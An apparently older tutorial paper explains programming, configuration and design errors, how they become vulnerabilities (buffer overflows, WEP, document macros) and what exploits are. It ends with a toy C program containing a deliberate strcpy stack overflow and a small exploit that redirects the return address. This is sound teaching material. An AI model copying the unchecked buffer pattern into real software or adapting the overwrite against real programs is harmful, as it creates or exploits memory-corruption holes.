Errors, Vulnerabilities & Exploits explained


In this paper I will try to provide you with a basic understanding of
errors, possible vulnerabilities because of those errors and their
exploits.
It is in no way meant to be a full and complete guide to exploits /
vulnerabilities but hopefully it will help you learn to recognize
possible vulnerabilities and how to deal with them.
Generally speaking there are 3 different types of errors which
could eventually lead to a possible compromise of a computer-based
system / network:
  • Programming errors
  • Configuration errors
  • Design errors

Errors can be seen as mistakes, although they don't necessarily have to
be created by accident. It is possible that the original creator of the
software / device which contains the error, created that error with the
best intentions and without realizing that it could be a potential
vulnerability.
This might sound a bit confusing, but all should become clear later on in this paper.
To discuss the errors more in dept we need to create a definition of
the different types of errors so that we can recognize them easier.



Definitions of the different error types

Programming errors:
Programming errors are errors made by the programmers of a particular
piece of software. The most common exploitable programming errors are
buffer overflows. Think of a buffer overflow as an empty cup:
The user of the program is going to put coffee in the cup, but the
programmer does not know in advance how much coffee the user will put
in there.
So the programmer must check and test this before actually putting the
coffee in the cup to prevent the coffee from overflowing the cup.
Sometimes it's not that easy to check for input size or due to time
pressure a programmer does not have the time to do write extensive
error checking functions and so possible buffer overflows and other
programming errors are created.
Another example of a programming error is a program that crashes since
the user did something unexpected like load a wrong type of file into
the program.
Of course not all programming errors require user input to do something
unexpected like crash the program. A program could depend on a
particular file which is always in a specific location.
If that file is moved and the programmer doesn't expect that, he might
not check if the file actually is located there before trying to open
it. This can result in unexpected behavior if that program tries to
work with that file after opening it.

These types of errors occur quite often, and most of the times the
manufacturer distributes patches and updates to resolve the errors
reported by customers or discovered by themselves.



Configuration errors:
Think of a configuration error as if you were a network administrator
and you need to implement a firewall to protect your network from the
internet.
It used to be a common practice to allow every traffic in and out except for the specifically denied types of traffic.
A simple example is a firewall which is blocking only port 80 since it
will allow anyone from the internet to connect to the configuration
page of the firewall and reconfigure it. The rest of the ports are all
open.
This of course is a configuration error since anyone could bypass that firewall by using another port number.
Luckily most manufacturers are aware of this error so they implemented
exactly the opposite: Everything is blocked unless specifically
allowed. So now a network administrator does not have to worry about
new problems found which can access his network through an unused port
since that port is closed already anyway.
(I used only ports here as example, but this can apply to different
types of traffic on the same port as well.)

Another configuration error example is the usage of unmanaged hub's in
a network instead of managed switches.
The difference is that a hub is sending all incoming traffic to all
ports since it does not know behind which port the receiver is located,
a switch knows this. So, running a sniffer in a network where hub's are
used instead of switches allows an attacker to view much more traffic
with possible username / password combinations then when using switches
on a network.
Even though this is a configuration error now, it didn't used to be in the past when switches didn't yet exist.

Since these errors almost always occur because the customer has too
little knowledge of the product or simply not enough time to completely
configure the product correctly, the customer himself is responsible
for resolving the error. The manufacturers often provide detailed
manuals and help files for their products which you should have read
before configuring and implementing the device or software.



Design errors:
A design error can be seen as an error that occurred during the design
period of the particular software. Even when the programmers spent
enough time writing routines to verify all user input before taking the
software in production, and even when the software has been configured
correctly by the end user, these errors can still cause a great risk
for the security of a network.
Let's say a company decided to write a piece of software which would
allow remote access to a network. Since they have to support the
software as well, they decided to put in a little backdoor so that can
login remotely by using the companies name as password.
What if someone outside that company would discover that backdoor? He
could login to any network that is using that particular piece of
software for remote access. The consequences would be disastrous!
Although these backdoors were created quite often in the past, nowadays
a company selling such software can't take the risk anymore, since he
would be held responsible for misusage of that backdoor by attackers.

Another example of a design error is the WEP encryption used for
securing wireless networks. I'm not going to explain in dept how this
is a design error since that is beyond the scope of this paper, but
basically it comes down to this:
A 3 byte initialization vector is added to the pre-shared encryption
key to encrypt every packet uniquely. Let's say the pre-shared key is
"abcde". The initialization vector for packet one could be "123" so the
total encryption key for that packet would be "123abcde". For the next
packet the initialization vector could be "234" and so creating the
encryption key "234abcde".
The design error lies partially in the fact that there are only 3 byte
different IV's (Initialization Vector) making a total of 255^3 or 16.5
million different keys and partially in the encryption algorithm used.
One could extract several characters of the pre-shared key quite easily
by reversing part of the algorithm. Because of this design error you
only need around 100,000 packets with unique IV's for 64-bit and around
800,000 unique IV's for 128-bit to crack the WEP-key and be able to
participate and read the complete wireless network. On a busy wireless
network this can be done in a few hours.
As you can see, design errors are a bit more complicated to resolve.
You simply cannot expect the manufacturer to write a quick patch to
solve the problem, and you cannot refer to the manual of the product to
resolve the issue yourself. In the case of the WEP encryption a team of
people created a new standard called WPA as an alternative to WEP
encryption. This meant that the products using WEP for encryption
should either be upgraded by replacing them, or through firmware
updates which allows them to work with the new encryption standard.
For a more detailed explanation of the design errors discovered in WEP, take a look at the excellent paper from airscanner.com here.



How could these errors become a vulnerability?

A vulnerability is a weak spot in the protection of an object. The
object can be anything from a computer to a complete network. I won't
be summing and explaining all different possible vulnerabilities here
since that's almost impossible, but I will try to point out what a
vulnerability is and how that vulnerability could have been created.
As stated earlier, the most common programming error
that can be a vulnerability is a buffer overflow. In case of a
stack-based buffer overflow the buffer is placed on the stack. The
stack can be seen as a temporary workspace where your processor can
store data to work with. Now, when you overflow a buffer which is
placed on the stack you will be able to write data outside of that
buffers allocated space and so overwriting other data on the stack.
That other data can be the return address of the calling function.
Let's say the return address of the calling function is 12345678 and
that return address is stored on the stack directly after the buffer,
then the stack would look something like this:
Code:
XXXXXXXXXX12345678
Where XXXXXXXXXX is the buffer which will contain our input. If we put
in less data then the buffer size then nothing strange will happen, but
let's say we put in 12 times the character 'A' in a buffer which can
only hold 10 characters, then the 2 remaining A's would overwrite part
of the return address. If this makes the return address an invalid
address, then the function would have no were to return to and the
program would crash.
If this program would be a server application then someone would be
able to put in 12 A's to crash the program and making the program
inaccessible to all other users. This is an example of a Denial of
Service attack, so in this case this error has Denial of Service
vulnerability.

If we take the same example as above but then with a larger buffer,
then overflowing the buffer would mean that more data has to be put in
before an actual overflow occurs, but when it occurs, we could write
some computer code (assembly instructions) which we would use as part
of our data to put in the buffer. When we would change the return
address to point to our overflowed buffer by overwriting it then the
program would try to execute our buffer.
Since the buffer now contains computer code the program would not crash
but instead execute our code. Because that code can be a small piece of
code starting a shell (command interpreter) and listening to a specific
port on that computer, this type of code is often referred to as
"shellcode".
With this code running one could connect to the specified port and
execute remote commands on the computer and so gaining control over the
computer with the same access rights as the user has that originally
started the vulnerable application on that computer.

For configuration errors the vulnerability can be more
obvious if we take a look at the example of the firewall. If that
firewall is configurable remotely via telnet as well, then only
disallowing access to that firewall via HTTP (port 80) might give the
network administrator a false sense of security since an attacker could
still access the configuration of the firewall by connecting to the
firewall via telnet (port 23).
However, since customers require different configuration options
for the products they buy, the manufacturers create highly configurable
software / devices. This might make the configuration of a specific
device so specialized that a mistake is easily made. Since the
configuration of such a device is so complicated a vulnerability can be
overlooked by the network administrator and so allowing a potential
attacker access to parts of the network or system to which the attacker
should not have access to, and so a simple configuration error could
lead to a potential vulnerability in the network / system.

I already gave an example of a vulnerability caused by a design error with the WEP encryption keys, but it isn't too hard to come up with another example of a vulnerable design error:
Suppose a software company writes a piece of software for viewing and
creating text documents. Since they want to sell their product they
have to design a program which has more seemingly useful capabilities
then the programs written by competitor software companies.
They decide to allow users to have more control over their created
documents by adding a feature which will allow users to write small
functions (macro's) which can be embedded in the document and which can
do various things on the computer to assist the viewer of the document.
What if all this functionality can be used by a malicious attacker to
craft a document with embedded functions that will replicate itself by
copying itself to all other documents found on the machine and do
various other things without the permission of the viewer?
Then we would have a possible vulnerability in this program which is created by design.
As you can see an error could lead to a vulnerability and the error
itself doesn't necessarily have to be an error in the way of something
that was put there unintentionally. In the case of the macro's used in
the document the idea to assist the user of the software in creating
more dynamic documents is great, except it was designed without
security in mind.



Then what is an exploit?

An exploit is a way to make use of a found vulnerability to change the
original functionality of the program or system in such a way that it
can be used in the advantage of an attacker.
In computer security the term "exploit" is often used for a specially
crafted program which sole purpose is to automatically take advantage
of a vulnerability to either take control of the target program in
which the vulnerability exists or to stop the target program from
functioning.
But using a wrong configuration in a system or network to an attackers
advantage can be called an exploit as well, although it doesn't
necessarily have to be a specially crafted program which actually does
the work.
I will try to explain the purpose of an exploit a little better by a
few examples of C code, one will be a simple program with a buffer
overflow vulnerability and the other one will be the exploit.
NOTE: the examples given here may behave different with different
compilers / systems. You might need to change the number of characters
placed in the buffer before actually overwriting the return address or
the address of the exploitfunction might be different, but they will
work.

vulnerable_program.c:

Code:
#include "stdio.h"

exploitfunction()
{
	 printf("This line will be printed after successfully exploiting the buffer overflow.\n");
	 system("pause");
	 ExitProcess(0);
}

normalfunction(char *myargument)
{
	char buffer[10];
	strcpy(buffer,myargument);
}
	
main(int argc, char *argv[])
{
	if(argc>1)
	{
		  normalfunction(argv[1]);
		  printf("\nThese lines get printed during normal execution with at least\
		  \n1 commandline argument.\
			\nThe address of exploitfunction is 0x%.8X\n\n",&exploitfunction); 
	} 
	else	  
		  printf("Please provide the program with at least 1 commandline argument.\n");	  
	ExitProcess(0);
}

As you can see I've created 3 functions, one is the main function and
the other two are the normalfunction which is executed with normal
conditions, and the exploitfunction. The idea behind this program is to
overflow the buffer so that the return address will point to the
exploitfunction instead of the next instruction after the
normalfunction.
Now we need to figure out how big the string of text will need to be to
completely overwrite the return address on the stack. We do this by
providing a string as argument which we increase with one character
every time until the program crashes.
After I compiled the program using Dev-cpp on a Windows system I was
able to provide the program with an argument of maximum 27 A's before
crashing the program.
Since the address of the exploitfunction is in hexadecimal and often
the values of the bytes representing the address aren't printable
characters I wrote a small program which will provide the vulnerable
program with the necessary argument string to exploit it.

In my case the address of the exploitfunction (which I conveniently printed from within the vulnerable program) is 0x00401290.
Since the stack stores everything in reverse order on an Intel x86
system (it won't explain this here in this paper) we need to prepare a
string which does the same.
So the eventual value for the argument has to be something similar to 0x41414141414141414141414141414141414141414141414141414141901240.
As you can see I used the hexadecimal representation of the character
'A' here (41) since that will be the actual value stored on the stack.
The resulting exploit can be very simple:
exploit.c:
Code:
#include "stdio.h"

main()
{
	  char workbuffer[200];
	  char tempbuf[4];
	  strcpy(workbuffer,"vulnerable_program AAAAAAAAAAAAAAAAAAAAAAAAAAAA");
	  tempbuf[0]=0x90;
	  tempbuf[1]=0x12;
	  tempbuf[2]=0x40;
	  tempbuf[3]=0;
	  strcat (workbuffer,tempbuf);
	  system(workbuffer);
	  return 0;
}
All this program does is copy the string "vulnerable_program AAAAAAAAAAAAAAAAAAAAAAAAAAAA" to a buffer and creates another buffer with the new return address which it appends to the workbuffer as well.
After that, the program calls system() to execute the command in the string. The resulted output:
Code:
C:\>exploit.exe
This line will be printed after successful exploiting the buffer overflow.
Press any key to continue . . .

So that's great, it worked!
Or isn't it that great?
Unfortunately it isn't from a security point of view. As I just showed
you it surely isn't rocket science to exploit a buffer overflow in a
program. Although we didn't actually make the program run our own code,
this can be achieved with a few minor changes.
For more information on buffer overflows take a look at the famous article written by Aleph One "Smashing the stack for fun and profit".

As discussed in this paper you usually have to take action yourself to
prevent your system / network from being exploited through a known
vulnerability. For configuration errors I would advise you to let a
professional make the necessary configurations so you don't have to
completely understand how the product works before being able to
implement it.
For programming and design errors there often are a lot of people
testing products of others and posting their findings to several
security-lists on the internet. So if you keep track of these
security-lists and make sure you always update your systems to the
latest versions of software / firmware, you are well on the way to
maintain a secure environment.
Finally here's a small list of some interesting websites which contain
the latest news on vulnerabilities and exploits in products:-- Mark Vogels -- www.white-scorpion.nl --